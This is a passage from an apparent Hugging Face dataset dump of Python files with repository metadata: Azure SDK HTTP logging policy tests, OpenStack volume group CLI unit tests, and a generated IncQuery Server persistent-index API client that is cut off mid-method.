xszheng2020/the_stack_dedup_python_hits_7 · Datasets at Hugging Face

13ed07d67af653c7e69106d1c3fde243233669c8

11,143

py

Python

sdk/core/azure-core/tests/async_tests/test_http_logging_policy_async.py

JianpingChen/azure-sdk-for-python

3072fc8c0366287fbaea1b02493a50259c3248a2

[ "MIT" ]

8

2021-01-13T23:44:08.000Z

2021-03-17T10:13:36.000Z

sdk/core/azure-core/tests/async_tests/test_http_logging_policy_async.py

JianpingChen/azure-sdk-for-python

3072fc8c0366287fbaea1b02493a50259c3248a2

[ "MIT" ]

510

2019-07-17T16:11:19.000Z

2021-08-02T08:38:32.000Z

sdk/core/azure-core/tests/async_tests/test_http_logging_policy_async.py

JianpingChen/azure-sdk-for-python

3072fc8c0366287fbaea1b02493a50259c3248a2

[ "MIT" ]

5

2019-09-04T12:51:37.000Z

2020-09-16T07:28:40.000Z

# ------------------------------------ # Copyright (c) Microsoft Corporation. # Licensed under the MIT License. # ------------------------------------ """Tests for the HttpLoggingPolicy.""" import logging import types import pytest import sys from unittest.mock import Mock from azure.core.pipeline import ( PipelineResponse, PipelineRequest, PipelineContext ) from azure.core.pipeline.transport import ( HttpRequest, HttpResponse, ) from azure.core.pipeline.policies import ( HttpLoggingPolicy, ) def test_http_logger(): class MockHandler(logging.Handler): def __init__(self): super(MockHandler, self).__init__() self.messages = [] def reset(self): self.messages = [] def emit(self, record): self.messages.append(record) mock_handler = MockHandler() logger = logging.getLogger("testlogger") logger.addHandler(mock_handler) logger.setLevel(logging.DEBUG) policy = HttpLoggingPolicy(logger=logger) universal_request = HttpRequest('GET', 'http://127.0.0.1/') http_response = HttpResponse(universal_request, None) http_response.status_code = 202 request = PipelineRequest(universal_request, PipelineContext(None)) # Basics policy.on_request(request) response = PipelineResponse(request, http_response, request.context) policy.on_response(request, response) assert all(m.levelname == 'INFO' for m in mock_handler.messages) assert len(mock_handler.messages) == 6 assert mock_handler.messages[0].message == "Request URL: 'http://127.0.0.1/'" assert mock_handler.messages[1].message == "Request method: 'GET'" assert mock_handler.messages[2].message == 'Request headers:' assert mock_handler.messages[3].message == 'No body was attached to the request' assert mock_handler.messages[4].message == 'Response status: 202' assert mock_handler.messages[5].message == 'Response headers:' mock_handler.reset() # Let's make this request a failure, retried twice policy.on_request(request) response = PipelineResponse(request, http_response, request.context) policy.on_response(request, response) policy.on_request(request) response = PipelineResponse(request, http_response, request.context) policy.on_response(request, response) assert all(m.levelname == 'INFO' for m in mock_handler.messages) assert len(mock_handler.messages) == 12 assert mock_handler.messages[0].message == "Request URL: 'http://127.0.0.1/'" assert mock_handler.messages[1].message == "Request method: 'GET'" assert mock_handler.messages[2].message == 'Request headers:' assert mock_handler.messages[3].message == 'No body was attached to the request' assert mock_handler.messages[4].message == 'Response status: 202' assert mock_handler.messages[5].message == 'Response headers:' assert mock_handler.messages[6].message == "Request URL: 'http://127.0.0.1/'" assert mock_handler.messages[7].message == "Request method: 'GET'" assert mock_handler.messages[8].message == 'Request headers:' assert mock_handler.messages[9].message == 'No body was attached to the request' assert mock_handler.messages[10].message == 'Response status: 202' assert mock_handler.messages[11].message == 'Response headers:' mock_handler.reset() # Headers and query parameters policy.allowed_query_params = ['country'] universal_request.headers = { "Accept": "Caramel", "Hate": "Chocolat", } http_response.headers = { "Content-Type": "Caramel", "HateToo": "Chocolat", } universal_request.url = "http://127.0.0.1/?country=france&city=aix" policy.on_request(request) response = PipelineResponse(request, http_response, request.context) policy.on_response(request, response) assert all(m.levelname == 'INFO' for m in mock_handler.messages) assert len(mock_handler.messages) == 10 assert mock_handler.messages[0].message == "Request URL: 'http://127.0.0.1/?country=france&city=REDACTED'" assert mock_handler.messages[1].message == "Request method: 'GET'" assert mock_handler.messages[2].message == "Request headers:" # Dict not ordered in Python, exact logging order doesn't matter assert set([ mock_handler.messages[3].message, mock_handler.messages[4].message ]) == set([ " 'Accept': 'Caramel'", " 'Hate': 'REDACTED'" ]) assert mock_handler.messages[5].message == 'No body was attached to the request' assert mock_handler.messages[6].message == "Response status: 202" assert mock_handler.messages[7].message == "Response headers:" # Dict not ordered in Python, exact logging order doesn't matter assert set([ mock_handler.messages[8].message, mock_handler.messages[9].message ]) == set([ " 'Content-Type': 'Caramel'", " 'HateToo': 'REDACTED'" ]) mock_handler.reset() def test_http_logger_operation_level(): class MockHandler(logging.Handler): def __init__(self): super(MockHandler, self).__init__() self.messages = [] def reset(self): self.messages = [] def emit(self, record): self.messages.append(record) mock_handler = MockHandler() logger = logging.getLogger("testlogger") logger.addHandler(mock_handler) logger.setLevel(logging.DEBUG) policy = HttpLoggingPolicy() kwargs={'logger': logger} universal_request = HttpRequest('GET', 'http://127.0.0.1/') http_response = HttpResponse(universal_request, None) http_response.status_code = 202 request = PipelineRequest(universal_request, PipelineContext(None, **kwargs)) # Basics policy.on_request(request) response = PipelineResponse(request, http_response, request.context) policy.on_response(request, response) assert all(m.levelname == 'INFO' for m in mock_handler.messages) assert len(mock_handler.messages) == 6 assert mock_handler.messages[0].message == "Request URL: 'http://127.0.0.1/'" assert mock_handler.messages[1].message == "Request method: 'GET'" assert mock_handler.messages[2].message == 'Request headers:' assert mock_handler.messages[3].message == 'No body was attached to the request' assert mock_handler.messages[4].message == 'Response status: 202' assert mock_handler.messages[5].message == 'Response headers:' mock_handler.reset() # Let's make this request a failure, retried twice request = PipelineRequest(universal_request, PipelineContext(None, **kwargs)) policy.on_request(request) response = PipelineResponse(request, http_response, request.context) policy.on_response(request, response) policy.on_request(request) response = PipelineResponse(request, http_response, request.context) policy.on_response(request, response) assert all(m.levelname == 'INFO' for m in mock_handler.messages) assert len(mock_handler.messages) == 12 assert mock_handler.messages[0].message == "Request URL: 'http://127.0.0.1/'" assert mock_handler.messages[1].message == "Request method: 'GET'" assert mock_handler.messages[2].message == 'Request headers:' assert mock_handler.messages[3].message == 'No body was attached to the request' assert mock_handler.messages[4].message == 'Response status: 202' assert mock_handler.messages[5].message == 'Response headers:' assert mock_handler.messages[6].message == "Request URL: 'http://127.0.0.1/'" assert mock_handler.messages[7].message == "Request method: 'GET'" assert mock_handler.messages[8].message == 'Request headers:' assert mock_handler.messages[9].message == 'No body was attached to the request' assert mock_handler.messages[10].message == 'Response status: 202' assert mock_handler.messages[11].message == 'Response headers:' mock_handler.reset() def test_http_logger_with_body(): class MockHandler(logging.Handler): def __init__(self): super(MockHandler, self).__init__() self.messages = [] def reset(self): self.messages = [] def emit(self, record): self.messages.append(record) mock_handler = MockHandler() logger = logging.getLogger("testlogger") logger.addHandler(mock_handler) logger.setLevel(logging.DEBUG) policy = HttpLoggingPolicy(logger=logger) universal_request = HttpRequest('GET', 'http://127.0.0.1/') universal_request.body = "testbody" http_response = HttpResponse(universal_request, None) http_response.status_code = 202 request = PipelineRequest(universal_request, PipelineContext(None)) policy.on_request(request) response = PipelineResponse(request, http_response, request.context) policy.on_response(request, response) assert all(m.levelname == 'INFO' for m in mock_handler.messages) assert len(mock_handler.messages) == 6 assert mock_handler.messages[0].message == "Request URL: 'http://127.0.0.1/'" assert mock_handler.messages[1].message == "Request method: 'GET'" assert mock_handler.messages[2].message == 'Request headers:' assert mock_handler.messages[3].message == 'A body is sent with the request' assert mock_handler.messages[4].message == 'Response status: 202' assert mock_handler.messages[5].message == 'Response headers:' mock_handler.reset() @pytest.mark.skipif(sys.version_info < (3, 6), reason="types.AsyncGeneratorType does not exist in 3.5") def test_http_logger_with_generator_body(): class MockHandler(logging.Handler): def __init__(self): super(MockHandler, self).__init__() self.messages = [] def reset(self): self.messages = [] def emit(self, record): self.messages.append(record) mock_handler = MockHandler() logger = logging.getLogger("testlogger") logger.addHandler(mock_handler) logger.setLevel(logging.DEBUG) policy = HttpLoggingPolicy(logger=logger) universal_request = HttpRequest('GET', 'http://127.0.0.1/') mock = Mock() mock.__class__ = types.AsyncGeneratorType universal_request.body = mock http_response = HttpResponse(universal_request, None) http_response.status_code = 202 request = PipelineRequest(universal_request, PipelineContext(None)) policy.on_request(request) response = PipelineResponse(request, http_response, request.context) policy.on_response(request, response) assert all(m.levelname == 'INFO' for m in mock_handler.messages) assert len(mock_handler.messages) == 6 assert mock_handler.messages[0].message == "Request URL: 'http://127.0.0.1/'" assert mock_handler.messages[1].message == "Request method: 'GET'" assert mock_handler.messages[2].message == 'Request headers:' assert mock_handler.messages[3].message == 'File upload' assert mock_handler.messages[4].message == 'Response status: 202' assert mock_handler.messages[5].message == 'Response headers:' mock_handler.reset()

38.160959

110

0.691555

1,332

11,143

5.636637

0.108108

0.127464

0.182206

0.179808

0.891716

0.876931

0.87227

0.85642

0.849893

0

0.021789

0.180382

11,143

291

111

38.292096

0.800285

0.039756

0

0.756757

0

0.004505

0.157619

0.002246

0

0.315315

1

0.072072

false

0

0.036036

0

0.126126

0

null

0

1

0

1

0

null

0

9

13ef38d20820e606b6ef5c676c42a9b93257e7d6

15,797

py

Python

openstackclient/tests/unit/volume/v3/test_volume_group.py

mydevice/python-openstackclient

4891bb38208fdcd1a2ae60e47b056841e14fbdf7

[ "Apache-2.0" ]

262

2015-01-29T20:10:49.000Z

2022-03-23T01:59:23.000Z

openstackclient/tests/unit/volume/v3/test_volume_group.py

mydevice/python-openstackclient

4891bb38208fdcd1a2ae60e47b056841e14fbdf7

[ "Apache-2.0" ]

5

2015-01-21T02:37:35.000Z

2021-11-23T02:26:00.000Z

openstackclient/tests/unit/volume/v3/test_volume_group.py

mydevice/python-openstackclient

4891bb38208fdcd1a2ae60e47b056841e14fbdf7

[ "Apache-2.0" ]

194

2015-01-08T07:39:27.000Z

2022-03-30T13:51:23.000Z

# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from cinderclient import api_versions from osc_lib import exceptions from openstackclient.tests.unit.volume.v3 import fakes as volume_fakes from openstackclient.volume.v3 import volume_group class TestVolumeGroup(volume_fakes.TestVolume): def setUp(self): super().setUp() self.volume_groups_mock = self.app.client_manager.volume.groups self.volume_groups_mock.reset_mock() self.volume_group_types_mock = \ self.app.client_manager.volume.group_types self.volume_group_types_mock.reset_mock() self.volume_types_mock = self.app.client_manager.volume.volume_types self.volume_types_mock.reset_mock() class TestVolumeGroupCreate(TestVolumeGroup): fake_volume_type = volume_fakes.FakeVolumeType.create_one_volume_type() fake_volume_group_type = \ volume_fakes.FakeVolumeGroupType.create_one_volume_group_type() fake_volume_group = volume_fakes.FakeVolumeGroup.create_one_volume_group( attrs={ 'group_type': fake_volume_group_type.id, 'volume_types': [fake_volume_type.id], }, ) columns = ( 'ID', 'Status', 'Name', 'Description', 'Group Type', 'Volume Types', 'Availability Zone', 'Created At', 'Volumes', 'Group Snapshot ID', 'Source Group ID', ) data = ( fake_volume_group.id, fake_volume_group.status, fake_volume_group.name, fake_volume_group.description, fake_volume_group.group_type, fake_volume_group.volume_types, fake_volume_group.availability_zone, fake_volume_group.created_at, fake_volume_group.volumes, fake_volume_group.group_snapshot_id, fake_volume_group.source_group_id, ) def setUp(self): super().setUp() self.volume_types_mock.get.return_value = self.fake_volume_type self.volume_group_types_mock.get.return_value = \ self.fake_volume_group_type self.volume_groups_mock.create.return_value = self.fake_volume_group self.volume_groups_mock.get.return_value = self.fake_volume_group self.cmd = volume_group.CreateVolumeGroup(self.app, None) def test_volume_group_create(self): self.app.client_manager.volume.api_version = \ api_versions.APIVersion('3.13') arglist = [ self.fake_volume_group_type.id, self.fake_volume_type.id, ] verifylist = [ ('volume_group_type', self.fake_volume_group_type.id), ('volume_types', [self.fake_volume_type.id]), ('name', None), ('description', None), ('availability_zone', None), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) columns, data = self.cmd.take_action(parsed_args) self.volume_group_types_mock.get.assert_called_once_with( self.fake_volume_group_type.id) self.volume_types_mock.get.assert_called_once_with( self.fake_volume_type.id) self.volume_groups_mock.create.assert_called_once_with( self.fake_volume_group_type.id, self.fake_volume_type.id, None, None, availability_zone=None, ) self.assertEqual(self.columns, columns) self.assertCountEqual(self.data, data) def test_volume_group_create_with_options(self): self.app.client_manager.volume.api_version = \ api_versions.APIVersion('3.13') arglist = [ self.fake_volume_group_type.id, self.fake_volume_type.id, '--name', 'foo', '--description', 'hello, world', '--availability-zone', 'bar', ] verifylist = [ ('volume_group_type', self.fake_volume_group_type.id), ('volume_types', [self.fake_volume_type.id]), ('name', 'foo'), ('description', 'hello, world'), ('availability_zone', 'bar'), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) columns, data = self.cmd.take_action(parsed_args) self.volume_group_types_mock.get.assert_called_once_with( self.fake_volume_group_type.id) self.volume_types_mock.get.assert_called_once_with( self.fake_volume_type.id) self.volume_groups_mock.create.assert_called_once_with( self.fake_volume_group_type.id, self.fake_volume_type.id, 'foo', 'hello, world', availability_zone='bar', ) self.assertEqual(self.columns, columns) self.assertCountEqual(self.data, data) def test_volume_group_create_pre_v313(self): self.app.client_manager.volume.api_version = \ api_versions.APIVersion('3.12') arglist = [ self.fake_volume_group_type.id, self.fake_volume_type.id, ] verifylist = [ ('volume_group_type', self.fake_volume_group_type.id), ('volume_types', [self.fake_volume_type.id]), ('name', None), ('description', None), ('availability_zone', None), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) exc = self.assertRaises( exceptions.CommandError, self.cmd.take_action, parsed_args) self.assertIn( '--os-volume-api-version 3.13 or greater is required', str(exc)) class TestVolumeGroupDelete(TestVolumeGroup): fake_volume_group = \ volume_fakes.FakeVolumeGroup.create_one_volume_group() def setUp(self): super().setUp() self.volume_groups_mock.get.return_value = self.fake_volume_group self.volume_groups_mock.delete.return_value = None self.cmd = volume_group.DeleteVolumeGroup(self.app, None) def test_volume_group_delete(self): self.app.client_manager.volume.api_version = \ api_versions.APIVersion('3.13') arglist = [ self.fake_volume_group.id, '--force', ] verifylist = [ ('group', self.fake_volume_group.id), ('force', True), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) result = self.cmd.take_action(parsed_args) self.volume_groups_mock.delete.assert_called_once_with( self.fake_volume_group.id, delete_volumes=True, ) self.assertIsNone(result) def test_volume_group_delete_pre_v313(self): self.app.client_manager.volume.api_version = \ api_versions.APIVersion('3.12') arglist = [ self.fake_volume_group.id, ] verifylist = [ ('group', self.fake_volume_group.id), ('force', False), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) exc = self.assertRaises( exceptions.CommandError, self.cmd.take_action, parsed_args) self.assertIn( '--os-volume-api-version 3.13 or greater is required', str(exc)) class TestVolumeGroupSet(TestVolumeGroup): fake_volume_group = \ volume_fakes.FakeVolumeGroup.create_one_volume_group() columns = ( 'ID', 'Status', 'Name', 'Description', 'Group Type', 'Volume Types', 'Availability Zone', 'Created At', 'Volumes', 'Group Snapshot ID', 'Source Group ID', ) data = ( fake_volume_group.id, fake_volume_group.status, fake_volume_group.name, fake_volume_group.description, fake_volume_group.group_type, fake_volume_group.volume_types, fake_volume_group.availability_zone, fake_volume_group.created_at, fake_volume_group.volumes, fake_volume_group.group_snapshot_id, fake_volume_group.source_group_id, ) def setUp(self): super().setUp() self.volume_groups_mock.get.return_value = self.fake_volume_group self.volume_groups_mock.update.return_value = self.fake_volume_group self.cmd = volume_group.SetVolumeGroup(self.app, None) def test_volume_group_set(self): self.app.client_manager.volume.api_version = \ api_versions.APIVersion('3.13') arglist = [ self.fake_volume_group.id, '--name', 'foo', '--description', 'hello, world', ] verifylist = [ ('group', self.fake_volume_group.id), ('name', 'foo'), ('description', 'hello, world'), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) columns, data = self.cmd.take_action(parsed_args) self.volume_groups_mock.update.assert_called_once_with( self.fake_volume_group.id, name='foo', description='hello, world', ) self.assertEqual(self.columns, columns) self.assertCountEqual(self.data, data) def test_volume_group_with_enable_replication_option(self): self.app.client_manager.volume.api_version = \ api_versions.APIVersion('3.38') arglist = [ self.fake_volume_group.id, '--enable-replication', ] verifylist = [ ('group', self.fake_volume_group.id), ('enable_replication', True), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) columns, data = self.cmd.take_action(parsed_args) self.volume_groups_mock.enable_replication.assert_called_once_with( self.fake_volume_group.id) self.assertEqual(self.columns, columns) self.assertCountEqual(self.data, data) def test_volume_group_set_pre_v313(self): self.app.client_manager.volume.api_version = \ api_versions.APIVersion('3.12') arglist = [ self.fake_volume_group.id, '--name', 'foo', '--description', 'hello, world', ] verifylist = [ ('group', self.fake_volume_group.id), ('name', 'foo'), ('description', 'hello, world'), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) exc = self.assertRaises( exceptions.CommandError, self.cmd.take_action, parsed_args) self.assertIn( '--os-volume-api-version 3.13 or greater is required', str(exc)) def test_volume_group_with_enable_replication_option_pre_v338(self): self.app.client_manager.volume.api_version = \ api_versions.APIVersion('3.37') arglist = [ self.fake_volume_group.id, '--enable-replication', ] verifylist = [ ('group', self.fake_volume_group.id), ('enable_replication', True), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) exc = self.assertRaises( exceptions.CommandError, self.cmd.take_action, parsed_args) self.assertIn( '--os-volume-api-version 3.38 or greater is required', str(exc)) class TestVolumeGroupList(TestVolumeGroup): fake_volume_groups = \ volume_fakes.FakeVolumeGroup.create_volume_groups() columns = ( 'ID', 'Status', 'Name', ) data = [ ( fake_volume_group.id, fake_volume_group.status, fake_volume_group.name, ) for fake_volume_group in fake_volume_groups ] def setUp(self): super().setUp() self.volume_groups_mock.list.return_value = self.fake_volume_groups self.cmd = volume_group.ListVolumeGroup(self.app, None) def test_volume_group_list(self): self.app.client_manager.volume.api_version = \ api_versions.APIVersion('3.13') arglist = [ '--all-projects', ] verifylist = [ ('all_projects', True), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) columns, data = self.cmd.take_action(parsed_args) self.volume_groups_mock.list.assert_called_once_with( search_opts={ 'all_tenants': True, }, ) self.assertEqual(self.columns, columns) self.assertCountEqual(tuple(self.data), data) def test_volume_group_list_pre_v313(self): self.app.client_manager.volume.api_version = \ api_versions.APIVersion('3.12') arglist = [ '--all-projects', ] verifylist = [ ('all_projects', True), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) exc = self.assertRaises( exceptions.CommandError, self.cmd.take_action, parsed_args) self.assertIn( '--os-volume-api-version 3.13 or greater is required', str(exc)) class TestVolumeGroupFailover(TestVolumeGroup): fake_volume_group = \ volume_fakes.FakeVolumeGroup.create_one_volume_group() def setUp(self): super().setUp() self.volume_groups_mock.get.return_value = self.fake_volume_group self.volume_groups_mock.failover_replication.return_value = None self.cmd = volume_group.FailoverVolumeGroup(self.app, None) def test_volume_group_failover(self): self.app.client_manager.volume.api_version = \ api_versions.APIVersion('3.38') arglist = [ self.fake_volume_group.id, '--allow-attached-volume', '--secondary-backend-id', 'foo', ] verifylist = [ ('group', self.fake_volume_group.id), ('allow_attached_volume', True), ('secondary_backend_id', 'foo'), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) result = self.cmd.take_action(parsed_args) self.volume_groups_mock.failover_replication.assert_called_once_with( self.fake_volume_group.id, allow_attached_volume=True, secondary_backend_id='foo', ) self.assertIsNone(result) def test_volume_group_failover_pre_v338(self): self.app.client_manager.volume.api_version = \ api_versions.APIVersion('3.37') arglist = [ self.fake_volume_group.id, '--allow-attached-volume', '--secondary-backend-id', 'foo', ] verifylist = [ ('group', self.fake_volume_group.id), ('allow_attached_volume', True), ('secondary_backend_id', 'foo'), ] parsed_args = self.check_parser(self.cmd, arglist, verifylist) exc = self.assertRaises( exceptions.CommandError, self.cmd.take_action, parsed_args) self.assertIn( '--os-volume-api-version 3.38 or greater is required', str(exc))

31.720884

78

0.6148

1,761

15,797

5.20954

0.102783

0.122302

0.112819

0.07663

0.859167

0.830063

0.821125

0.768694

0.743296

0.727491

0

0.007162

0.284105

15,797

497

79

31.784708

0.80405

0.032981

0

0.704261

0

0.092702

0.017689

0

0.087719

1

0.047619

false

0

0.010025

0

0.105263

0

null

0

1

0

1

0

null

0

7

b91ae067743ee859c5d4fd1ead87902d5ebb7b84

23,569

py

Python

iqs_client/api/persistent_index_api.py

thomas-bc/mms-autocref

1db6697f929a1c782c902923209389e337ec6961

[ "Apache-2.0" ]

null

iqs_client/api/persistent_index_api.py

thomas-bc/mms-autocref

1db6697f929a1c782c902923209389e337ec6961

[ "Apache-2.0" ]

null

iqs_client/api/persistent_index_api.py

thomas-bc/mms-autocref

1db6697f929a1c782c902923209389e337ec6961

[ "Apache-2.0" ]

null

# coding: utf-8 """ IncQuery Server No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 OpenAPI spec version: 0.12.0 Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from iqs_client.api_client import ApiClient class PersistentIndexApi(object): """NOTE: This class is auto generated by OpenAPI Generator Ref: https://openapi-generator.tech Do not edit the class manually. """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def delete_all_persisted_model_compartments(self, **kwargs): # noqa: E501 """Delete all model compartments from persistent index # noqa: E501 Delete all model compartments from persistent index # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_all_persisted_model_compartments(async_req=True) >>> result = thread.get() :param async_req bool :return: SimpleMessage If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.delete_all_persisted_model_compartments_with_http_info(**kwargs) # noqa: E501 else: (data) = self.delete_all_persisted_model_compartments_with_http_info(**kwargs) # noqa: E501 return data def delete_all_persisted_model_compartments_with_http_info(self, **kwargs): # noqa: E501 """Delete all model compartments from persistent index # noqa: E501 Delete all model compartments from persistent index # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_all_persisted_model_compartments_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :return: SimpleMessage If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_all_persisted_model_compartments" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['basicAuth'] # noqa: E501 return self.api_client.call_api( '/persistent-index.deleteAllModelCompartments', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SimpleMessage', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def delete_model_compartment(self, model_compartment, **kwargs): # noqa: E501 """Delete model compartment from persistent index # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_model_compartment(model_compartment, async_req=True) >>> result = thread.get() :param async_req bool :param ModelCompartment model_compartment: Model compartment descriptor. (required) :return: SimpleMessage If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.delete_model_compartment_with_http_info(model_compartment, **kwargs) # noqa: E501 else: (data) = self.delete_model_compartment_with_http_info(model_compartment, **kwargs) # noqa: E501 return data def delete_model_compartment_with_http_info(self, model_compartment, **kwargs): # noqa: E501 """Delete model compartment from persistent index # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_model_compartment_with_http_info(model_compartment, async_req=True) >>> result = thread.get() :param async_req bool :param ModelCompartment model_compartment: Model compartment descriptor. (required) :return: SimpleMessage If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['model_compartment'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_model_compartment" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'model_compartment' is set if ('model_compartment' not in local_var_params or local_var_params['model_compartment'] is None): raise ValueError("Missing the required parameter `model_compartment` when calling `delete_model_compartment`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'model_compartment' in local_var_params: body_params = local_var_params['model_compartment'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['basicAuth'] # noqa: E501 return self.api_client.call_api( '/persistent-index.deleteModelCompartment', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SimpleMessage', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_persistent_index_info(self, **kwargs): # noqa: E501 """Retrieve overall information on the persistent index # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_persistent_index_info(async_req=True) >>> result = thread.get() :param async_req bool :return: PersistentIndexInfoResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_persistent_index_info_with_http_info(**kwargs) # noqa: E501 else: (data) = self.get_persistent_index_info_with_http_info(**kwargs) # noqa: E501 return data def get_persistent_index_info_with_http_info(self, **kwargs): # noqa: E501 """Retrieve overall information on the persistent index # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_persistent_index_info_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :return: PersistentIndexInfoResponse If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_persistent_index_info" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['basicAuth'] # noqa: E501 return self.api_client.call_api( '/persistent-index.info', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PersistentIndexInfoResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def index_model_compartment(self, model_compartment, **kwargs): # noqa: E501 """Index model compartment from model repository and store in peristent index. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.index_model_compartment(model_compartment, async_req=True) >>> result = thread.get() :param async_req bool :param ModelCompartment model_compartment: Model compartment descriptor. (required) :return: IndexMessage If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.index_model_compartment_with_http_info(model_compartment, **kwargs) # noqa: E501 else: (data) = self.index_model_compartment_with_http_info(model_compartment, **kwargs) # noqa: E501 return data def index_model_compartment_with_http_info(self, model_compartment, **kwargs): # noqa: E501 """Index model compartment from model repository and store in peristent index. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.index_model_compartment_with_http_info(model_compartment, async_req=True) >>> result = thread.get() :param async_req bool :param ModelCompartment model_compartment: Model compartment descriptor. (required) :return: IndexMessage If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['model_compartment'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method index_model_compartment" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'model_compartment' is set if ('model_compartment' not in local_var_params or local_var_params['model_compartment'] is None): raise ValueError("Missing the required parameter `model_compartment` when calling `index_model_compartment`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'model_compartment' in local_var_params: body_params = local_var_params['model_compartment'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['basicAuth'] # noqa: E501 return self.api_client.call_api( '/persistent-index.indexModelCompartment', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='IndexMessage', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), 